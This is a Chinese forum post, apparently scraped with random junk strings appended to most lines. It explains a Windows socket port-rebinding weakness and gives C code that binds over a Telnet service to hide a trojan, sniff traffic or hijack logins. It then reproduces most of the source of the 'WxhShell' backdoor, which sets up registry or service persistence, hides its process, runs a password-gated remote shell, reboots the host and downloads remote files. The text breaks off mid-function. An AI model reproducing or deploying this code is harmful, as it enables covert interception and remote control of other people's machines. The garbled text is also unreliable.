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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P@m_tA%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3Vu_-.ID  
5p.vo"7  
  saddr.sin_family = AF_INET; }J~ d6m  
{*Ag[HS0u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vbo:,]T<A  
^Lx(if WJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DcO$&)Eb  
eCDwY:t`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s7A3CY]->  
6`tc]a"#Zb  
  这意味着什么?意味着可以进行如下的攻击:  =V- ^  
vqC!Ajm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3N(5V;ti  
00?_10x)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (Q_J{[F  
/E/Z0<l7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :7,j%ELic  
KlMSkdmW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B#>7;xy>  
;.O#|Z[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MY8[)<q"  
$ ]ew<j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Yq6e=?-  
i#&iT P`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Oy,7>vWQI  
FN$sST  
  #include lUL6L 4m  
  #include s?fO)7ly  
  #include t",=]k  
  #include    zS9HR1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w$XqxI/&  
  int main() eK=W'cNu  
  { 9+"R}Nxv^  
  WORD wVersionRequested; 4Bn <L&@/  
  DWORD ret; }{R?i,j(  
  WSADATA wsaData; W> +/N4  
  BOOL val; X,] E {  
  SOCKADDR_IN saddr; ,ln=kj  
  SOCKADDR_IN scaddr; ii3{HJ*C  
  int err; _Q**4  
  SOCKET s; H%peE9>$  
  SOCKET sc; dR9[K4`p/  
  int caddsize; ]O^C'GzZ  
  HANDLE mt; L@|xpq  
  DWORD tid;   ujLz<5gKuO  
  wVersionRequested = MAKEWORD( 2, 2 ); IO@Ti(,  
  err = WSAStartup( wVersionRequested, &wsaData ); 6UK}?+r~  
  if ( err != 0 ) { wNfWHaH" m  
  printf("error!WSAStartup failed!\n"); SHAC(3o /e  
  return -1; aqw;T\GI+~  
  } ?o D]J  
  saddr.sin_family = AF_INET; 1ti9FQ  
   ,\DSi&T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DjMhI_Yu  
yUyx&Y/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |z+K]R8_  
  saddr.sin_port = htons(23); _Nx#)(x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) * NB:"1x  
  { ;X z fd  
  printf("error!socket failed!\n"); % >mB"Y,  
  return -1; Zv"qA  
  } -~|E(ys  
  val = TRUE; a,YU)v^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !&f>,?wlP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O0~Qh0~l  
  { OsGKlWM/  
  printf("error!setsockopt failed!\n"); 67{3/(`x  
  return -1;  ds#om2)  
  } (QFu``ae+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H wu (}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H6vO}pq) r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Jg2*$gL;_  
%8]~+ #]p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1UwpLd  
  { { ML)F]]  
  ret=GetLastError();  (%\tE  
  printf("error!bind failed!\n"); )/Mk\``j  
  return -1; 7xlarns   
  } PX$_."WA  
  listen(s,2); gNj~o^6|@  
  while(1) "c2{n,  
  { # VAL\Z  
  caddsize = sizeof(scaddr); #$?!P1  
  //接受连接请求 .1@8rVp7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )C^@U&h&  
  if(sc!=INVALID_SOCKET) z"PU`v  
  { RX cfd-us  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9u^yEqG`  
  if(mt==NULL) d+iV19#i  
  { KrzIL[;2o  
  printf("Thread Creat Failed!\n"); c) q'" r  
  break; 7+c}D>/`:  
  } k "Qr  
  } :vWixgLg  
  CloseHandle(mt); Y2&hf6BE  
  } EA=EcUf'  
  closesocket(s); ` & {  
  WSACleanup(); |-zefzD|  
  return 0; rT/4w#_3  
  }   .EXxNB]%Y&  
  DWORD WINAPI ClientThread(LPVOID lpParam) :3 p&h[M  
  { mgL{t"$c  
  SOCKET ss = (SOCKET)lpParam; & Do|Hw  
  SOCKET sc; tFrNnbmlQ  
  unsigned char buf[4096]; I;rh(FMV  
  SOCKADDR_IN saddr; Cu-z`.#}R  
  long num; ;]I~AGH:  
  DWORD val; r(i!".Z  
  DWORD ret; ^sb+|b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7a5G,C#QQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wVac6q  
  saddr.sin_family = AF_INET; =Dc9|WuHN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mJFFst,  
  saddr.sin_port = htons(23); G}N T[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z0!yTM/C  
  { &:}}T=@M1  
  printf("error!socket failed!\n"); s{@3G8  
  return -1; LPK[^  
  } 2 i:tPe&  
  val = 100; DFN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ("T8mt[w>  
  { ,mm9X\ '  
  ret = GetLastError(); AroXf#.  
  return -1; *[?DnF+  
  } q9`!T4,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KXy|Si8w  
  { 3[E)/~-  
  ret = GetLastError(); A! j4;=}  
  return -1; KN"V(<!)~  
  } 2n`OcXCh/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =W Q_5}  
  { kb>/R/,9  
  printf("error!socket connect failed!\n"); bWAVBF  
  closesocket(sc); V/jEMJNks  
  closesocket(ss); ]/y&5X  
  return -1; #[a+m  
  } d;kdw  
  while(1) P{!r<N  
  { `1$7. ydQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m+J3t @$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k!lz_Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !Xbr7:UPN1  
  num = recv(ss,buf,4096,0); =Qcz:ng  
  if(num>0) J}-,!3qxW  
  send(sc,buf,num,0); }FTyRHD|  
  else if(num==0) 3Hli^9&OX_  
  break; [foZO&+!  
  num = recv(sc,buf,4096,0); }"'^.FG^_  
  if(num>0) i-b++R/WN  
  send(ss,buf,num,0); M)U 32gI:  
  else if(num==0) ;J[1S  
  break; J=gerdIk  
  } YAIDSZ&l[  
  closesocket(ss); Bk~lE]Q3c7  
  closesocket(sc); [Pu~kiN  
  return 0 ; @Ee'nP   
  } f3+@u2Pv  
L{)e1p]q  
'wd-!aZAd  
========================================================== \wxS~T<&L  
wPn#>\/L  
下边附上一个代码,,WXhSHELL 0wLu*K5$4E  
n0T\dc~  
========================================================== TvE M{  
-|MeC  
#include "stdafx.h" 3+<}Hm+  
dooS|Mq  
#include <stdio.h> HXTBxh  
#include <string.h> =8r%zLDw  
#include <windows.h> c]>s(/}T  
#include <winsock2.h> gc 14%  
#include <winsvc.h> a{7>7%[  
#include <urlmon.h> :!M/9D*}0  
4+od N.  
#pragma comment (lib, "Ws2_32.lib") *7C t#GC  
#pragma comment (lib, "urlmon.lib") 8I)66  
!e?GS"L~  
#define MAX_USER   100 // 最大客户端连接数 h&+dIk\[3  
#define BUF_SOCK   200 // sock buffer L\Uf+d:&}G  
#define KEY_BUFF   255 // 输入 buffer 1nb]~{l  
,~-"EQT  
#define REBOOT     0   // 重启 ]A:n]mL  
#define SHUTDOWN   1   // 关机 r^mP'#  
>;eWgQ6V  
#define DEF_PORT   5000 // 监听端口 4tR:O#($V  
^[no Gjy  
#define REG_LEN     16   // 注册表键长度 _ cK"y2  
#define SVC_LEN     80   // NT服务名长度 2r2qZ#I}  
a$p?r3y  
// 从dll定义API wfQ 6J0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4=S.U`t7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RU3:[ (7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5A,@$yp+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PG<tic<?  
6 eqxwj{S[  
// wxhshell配置信息 =7@N'xX  
struct WSCFG { +85i;gO5  
  int ws_port;         // 监听端口 ]a )o@FI  
  char ws_passstr[REG_LEN]; // 口令 n`Pwo &  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0Ym+10g  
  char ws_regname[REG_LEN]; // 注册表键名 q~68)D(  
  char ws_svcname[REG_LEN]; // 服务名 ct+ ;W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nFU'DZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YIv!\`^ \  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F.2<G.9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 45` i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z^z_!@7v   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YvD+Lk'hm  
N t]YhO  
}; Umx~!YL!  
Atc<xp  
// default Wxhshell configuration x%Ph``XI  
struct WSCFG wscfg={DEF_PORT, 36mp+}R#  
    "xuhuanlingzhe", e&WlJ  
    1, m20:{fld  
    "Wxhshell", fgrflW$  
    "Wxhshell", LT7C>b  
            "WxhShell Service", HriY-=ji>a  
    "Wrsky Windows CmdShell Service", *->2$uWP  
    "Please Input Your Password: ", !n9H[QP^9  
  1, f]Jn\7j4  
  "http://www.wrsky.com/wxhshell.exe", UnSi=uj  
  "Wxhshell.exe" )Il) H  
    }; Dv~W!T i  
G?`{OW3:_  
// 消息定义模块 \)KLm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ctI=|K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m'{gO9V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; En01LrC?  
char *msg_ws_ext="\n\rExit."; ^3re*u4b=  
char *msg_ws_end="\n\rQuit."; L'(ei7Z  
char *msg_ws_boot="\n\rReboot..."; HK_Vk\e  
char *msg_ws_poff="\n\rShutdown..."; !1G6ZC:z  
char *msg_ws_down="\n\rSave to "; og0su  
{A<pb{<u  
char *msg_ws_err="\n\rErr!"; ViZ Tl~  
char *msg_ws_ok="\n\rOK!"; N_jpCCG~  
"[A]tklP  
char ExeFile[MAX_PATH]; :g&9v_}&K{  
int nUser = 0; MTI[Mez  
HANDLE handles[MAX_USER]; vndD#/lXq  
int OsIsNt; KHnq%#  
bhk:Szqz  
SERVICE_STATUS       serviceStatus; vs=8x\W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K=Q<G:+&V  
V46=48K.  
// 函数声明 ?7;_3+T#  
int Install(void); o2'^MxKb T  
int Uninstall(void); Q[rmsk 2L'  
int DownloadFile(char *sURL, SOCKET wsh); `^d[$IbDW  
int Boot(int flag); A^L8"  
void HideProc(void); h7?uM^p  
int GetOsVer(void); @wVq%GG}  
int Wxhshell(SOCKET wsl); )By #({O  
void TalkWithClient(void *cs); FaA'%P@  
int CmdShell(SOCKET sock); d ,"L8  
int StartFromService(void); G q&[T:  
int StartWxhshell(LPSTR lpCmdLine); VbU*&{j  
K U;d[Z@g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rjaG{ i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &$H7vdWNy  
Aq]*$s2\G  
// 数据结构和表定义 $bo,m2)  
SERVICE_TABLE_ENTRY DispatchTable[] = w^EUBRI-  
{ dj}y6V&  
{wscfg.ws_svcname, NTServiceMain}, :Vnus @#r  
{NULL, NULL} .\rJ|HpZ1J  
}; c.?+rcnq  
}57d3s  
// 自我安装 'uBagd>*  
int Install(void) Jf</83RZ  
{ 8+|7*Ud  
  char svExeFile[MAX_PATH]; EJByYk   
  HKEY key; f53WDI6  
  strcpy(svExeFile,ExeFile); h 0c&}kM  
be+]kp  
// 如果是win9x系统,修改注册表设为自启动 .E/NlGm[  
if(!OsIsNt) { 8GKqPS+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nW"ml$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _GtG8ebr  
  RegCloseKey(key); <#ZDA/G(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #Zq[.9!q{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r1]DkX <6  
  RegCloseKey(key); HUWCCVn&  
  return 0; x7!YA>  
    } j"Y5j B`  
  } " ra C?H  
} p+.{"%  
else { uzO3_.4Y  
Qh{]gw-6  
// 如果是NT以上系统,安装为系统服务 69C>oX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <x->.R_  
if (schSCManager!=0) Hphfqdh0`  
{ @'lO~i  
  SC_HANDLE schService = CreateService ]/TqPOi:  
  ( nep-?7x  
  schSCManager, DcmRb/AP*  
  wscfg.ws_svcname, Zt{\<5j  
  wscfg.ws_svcdisp, cuUlr  
  SERVICE_ALL_ACCESS, ffibS0aM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~'3hK4  
  SERVICE_AUTO_START, kFZjMchm A  
  SERVICE_ERROR_NORMAL, H'2Un(#Al  
  svExeFile, RXWS,rF  
  NULL, :978D0}{p  
  NULL, mj^]e/s%  
  NULL, (Gp|K6  
  NULL, d\ {a&\v  
  NULL +`$[h2Z=:  
  ); ;=oGg%@aP  
  if (schService!=0) t^(#~hx  
  { t1%<l  
  CloseServiceHandle(schService); v>]^wH>/"  
  CloseServiceHandle(schSCManager); Ymr\8CG/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uL[%R2  
  strcat(svExeFile,wscfg.ws_svcname); /&Vgo ~.J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z+J;nl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7J$5dFV2  
  RegCloseKey(key); sXmo.{Ayb  
  return 0;  l6uU S  
    } #{L !o5  
  } B$kp\yL  
  CloseServiceHandle(schSCManager); 3NA G}S  
} i<]Y0_?s  
} |0A:0'uA!  
},'Ij; %%Q  
return 1; DHO+JtO  
} |Sf` Cs  
DZ9qIc}Y  
// 自我卸载 {cF >, T  
int Uninstall(void) c(y~,hN&p  
{ af WEt -  
  HKEY key; FeM,$&G:  
3ZKaqwK  
if(!OsIsNt) { FII>6c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J@I-tS  
  RegDeleteValue(key,wscfg.ws_regname); #:?MtVC  
  RegCloseKey(key); !agtgS$qII  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :/ yR  
  RegDeleteValue(key,wscfg.ws_regname); LN?b6s75U  
  RegCloseKey(key); At#'q>Dn  
  return 0; +^6v%z  
  } $*u{i4b  
} h c9? z}  
} 6$JRV  
else { E*t0ia8  
tt7l%olw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G2x5%`   
if (schSCManager!=0) u+RdC;_  
{ &xwAE*}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;7]Q'N  
  if (schService!=0) #VwA?$4g`  
  { $K,6!FyBa  
  if(DeleteService(schService)!=0) { #^bkM)pc  
  CloseServiceHandle(schService); sO!YM5v8  
  CloseServiceHandle(schSCManager); QzQTE-SQ  
  return 0; AjQ^ {P  
  } t*? CD.S  
  CloseServiceHandle(schService); F<UEipe/N  
  } | ZI~#V  
  CloseServiceHandle(schSCManager); \sIRV}Tk}N  
} USnKj_e  
} =9 TAs? =  
!8|]R  
return 1; C_[V[k0(  
} 1 D fB9n  
%^l77 :O  
// 从指定url下载文件 #_+T@|r  
int DownloadFile(char *sURL, SOCKET wsh) =#i#IF42?  
{ <:u)C;  
  HRESULT hr; dm Lgt)-t  
char seps[]= "/"; <%JRZYZ  
char *token; 6dh@DG*k  
char *file; $ ;/Ny)"  
char myURL[MAX_PATH]; E5lC'@Dcz  
char myFILE[MAX_PATH]; U4_ <  
-K`0`n}  
strcpy(myURL,sURL); ?S8cl7;+  
  token=strtok(myURL,seps); _9Kdcoh  
  while(token!=NULL) hGH{Xp[mW  
  { C"/]X  
    file=token; VwoCR q*  
  token=strtok(NULL,seps); i4.s_@2Y  
  } P,!k^J3:l  
nm*!#hx  
GetCurrentDirectory(MAX_PATH,myFILE); Nh41o0  
strcat(myFILE, "\\"); VG'oy  
strcat(myFILE, file); jow^~   
  send(wsh,myFILE,strlen(myFILE),0); &_&])V)<\S  
send(wsh,"...",3,0); ^Y xqJy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \1RQ),5 %]  
  if(hr==S_OK) :Qu!0tY  
return 0; +*g[hRw[  
else "HVwm>qEi  
return 1; B4&@PX"'>,  
amGQ!$] %#  
} BoP%f '0N  
(@M=W.M#  
// 系统电源模块 K4xZT+Qb  
int Boot(int flag) Ydmz!CEu  
{ 7(~^6Ql!  
  HANDLE hToken; ZzI^*Nyg  
  TOKEN_PRIVILEGES tkp; p7!q#o  
Y_%\kM?7  
  if(OsIsNt) { YjS|Ht->  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lq LciD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [_qBp:_j?s  
    tkp.PrivilegeCount = 1; %M9^QHyo@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; . xX xjl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K]@^8e$(  
if(flag==REBOOT) { u!nt0hS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r7*[k[^[^  
  return 0; h&yaug,.  
} pWps-e  
else { ^gkyi/z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cY#TH|M  
  return 0; pa+^5N  
} I|9e4EX{y  
  } >6ch[W5k@  
  else { r9s1\7]x  
if(flag==REBOOT) { 3=dGz^Zdv:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `iI YZ3i  
  return 0; ,)GCg@7B  
} )l30~5u<J  
else { %DPtK)X1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |}q0 G~l  
  return 0; 7\a(Imq  
} M?$-u  
} %F&j B  
`?=AgGg  
return 1; +-ieaF  
} uLhamE)  
\~y>aYy  
// win9x进程隐藏模块 Y60ld7H  
void HideProc(void) ^5,ASU  
{ L?9Vz&8]  
s|,gn5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,~G _3Oz  
  if ( hKernel != NULL ) IUc!nxF#  
  { uVscF 4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k92X)/ll'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Mh_jlgE'd#  
    FreeLibrary(hKernel); 7)_0jp~2  
  } JxD@y}ZYE  
*[yCcqN.  
return; Tm3$|+}$f  
} $yCj80m\  
S~6<'N&[  
// 获取操作系统版本 NoYu"57\  
int GetOsVer(void) o~iL aN\+  
{ P9%9/ B:-  
  OSVERSIONINFO winfo; &G<ZK9Ot}0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >Q+EqT  
  GetVersionEx(&winfo); P"i qP|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :K8T\  
  return 1; 9m6w.:S  
  else OH)SdSBz  
  return 0; O]2h=M@q.  
} sgB3i`_M  
;H\,w /E9  
// 客户端句柄模块 ~Kb(`Px@  
int Wxhshell(SOCKET wsl) mZM5aTQ3  
{ Ak}l6{ ..  
  SOCKET wsh; k8*=1kl"  
  struct sockaddr_in client; m CdkYN#  
  DWORD myID; <#R7sco'  
#x%O0  
  while(nUser<MAX_USER) >eRbasshEI  
{ ZcdS?Z2k  
  int nSize=sizeof(client); +>:X4A *  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '*~{1gG `  
  if(wsh==INVALID_SOCKET) return 1; $x2<D :  
qrOTb9&y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9td(MZ%i~N  
if(handles[nUser]==0) zzW^ AvR  
  closesocket(wsh); T%]: tDa  
else i&bttSRNV  
  nUser++; 0`qq"j[6a  
  } !.w S+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ] 2b@mX  
"thu@~aC  
  return 0; OVivJx  
}  XG^  
x208^=F\\  
// 关闭 socket <QJmdcG  
void CloseIt(SOCKET wsh) j<gnh  
{ )O+9 v}2  
closesocket(wsh); iL\\JuY  
nUser--; uV\=EDno  
ExitThread(0); Cy2X>Tl"<E  
} Mz{>vb  
HmiwpI  
// 客户端请求句柄 ^1nf|Xj [  
void TalkWithClient(void *cs) :g\qj? o  
{ $zbg  
\m\.+q]  
  SOCKET wsh=(SOCKET)cs; ']rh0?  
  char pwd[SVC_LEN]; q6DhypB  
  char cmd[KEY_BUFF]; ]pGr'T~Gj  
char chr[1]; !#?tA/t@  
int i,j; {C6Yr9  
^KhFBed   
  while (nUser < MAX_USER) { $i2gOz  
C1nQZtF R  
if(wscfg.ws_passstr) { cCeD3CuRA%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8q0 .yhb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A} "*`y  
  //ZeroMemory(pwd,KEY_BUFF); F 4h EfO3  
      i=0; ,L^L uw'7  
  while(i<SVC_LEN) { z/T ZOFaM  
du qu}*Jw  
  // 设置超时 !bY{T#i)k  
  fd_set FdRead; f[v??^  
  struct timeval TimeOut; /bb4nM_E/  
  FD_ZERO(&FdRead); bH.">IV  
  FD_SET(wsh,&FdRead); %NBD^g F  
  TimeOut.tv_sec=8; b9vKux  
  TimeOut.tv_usec=0; V:+}]"yJ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p\HXE4d'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m$ JQ[vgh  
;F:(5GBi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $@NZ*m%?JQ  
  pwd=chr[0]; FJ!>3V;}  
  if(chr[0]==0xd || chr[0]==0xa) { o+vf  
  pwd=0; -g>27EI5  
  break; J2R<'(  
  } OW.ckYt%  
  i++; 3646.i[D  
    } J?]W!V7C  
7}#vANm  
  // 如果是非法用户,关闭 socket RDZq(rKc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yJr Pb"  
} l^vq'<kI  
x|Ei_hI-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0s8S`hCn>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <E ^:{J95  
 <O*q;&9  
while(1) { WFB2Ub7  
JE j+>  
  ZeroMemory(cmd,KEY_BUFF); toCN{[  
7!%cKZCY  
      // 自动支持客户端 telnet标准   @M,_mX  
  j=0; ,Bta)  
  while(j<KEY_BUFF) { gC3{:MC-G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R_*\?^k|A  
  cmd[j]=chr[0]; Jd%#eD*k9  
  if(chr[0]==0xa || chr[0]==0xd) { -1{N#c/U  
  cmd[j]=0; S:5Nh^K  
  break; =DtM.oQ>  
  } )~5`A*Ku  
  j++; [qy@g5`  
    } 0VbZBLe  
E u@TCw8@  
  // 下载文件 hVlL"w*1  
  if(strstr(cmd,"http://")) { >Z3}WMgBN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pc$<Cv|vz  
  if(DownloadFile(cmd,wsh)) T.{I~_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zj}, VB*T  
  else <1@_MY o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tf/ f-S  
  } D8h~?phK  
  else { +28FB[W  
v/^2K,[0>  
    switch(cmd[0]) { -1< }_*  
  W=|B3}C?  
  // 帮助 xLGAP-mx]  
  case '?': { h)YqC$A-s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z|7Y1W[  
    break; f2d"b+H#  
  } <}UqtD F 0  
  // 安装 {g);HnmPN  
  case 'i': { ?d_Cy\G  
    if(Install()) W9u (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yEz2F3[ S  
    else ,+q5e^P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JL*-L*|Zcl  
    break; 5%W3&F6 %  
    } =GLsoc-b  
  // 卸载 \Q3m?)X=Gd  
  case 'r': { ;`xu)08a  
    if(Uninstall()) 3w0m:~KS6V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PanyN3rC*  
    else xR%CS`0R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #cApk  
    break; ?$o8=h  
    } Ya>cGaLq  
  // 显示 wxhshell 所在路径 1r8]EaI  
  case 'p': { ,2]6cP(6qQ  
    char svExeFile[MAX_PATH]; FS20OD  
    strcpy(svExeFile,"\n\r"); Xe%n.DW m  
      strcat(svExeFile,ExeFile); 0 ">#h  
        send(wsh,svExeFile,strlen(svExeFile),0); 7gJ`G@y  
    break; !Hgq7vZG  
    } "PlM{ZI\  
  // 重启 n'R 8nn6^  
  case 'b': { #_H=pNWe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K{ 0mb  
    if(Boot(REBOOT)) 9aXm}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'r'uR5jR  
    else { m@yaF: R  
    closesocket(wsh); ^91k@MC  
    ExitThread(0); \;g{qM 8  
    } yhTe*I=Gk  
    break; <;acWT?(  
    } %5uuB4P&|$  
  // 关机 MenI>gd?  
  case 'd': { / P{f#rV5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ; xs?^N|  
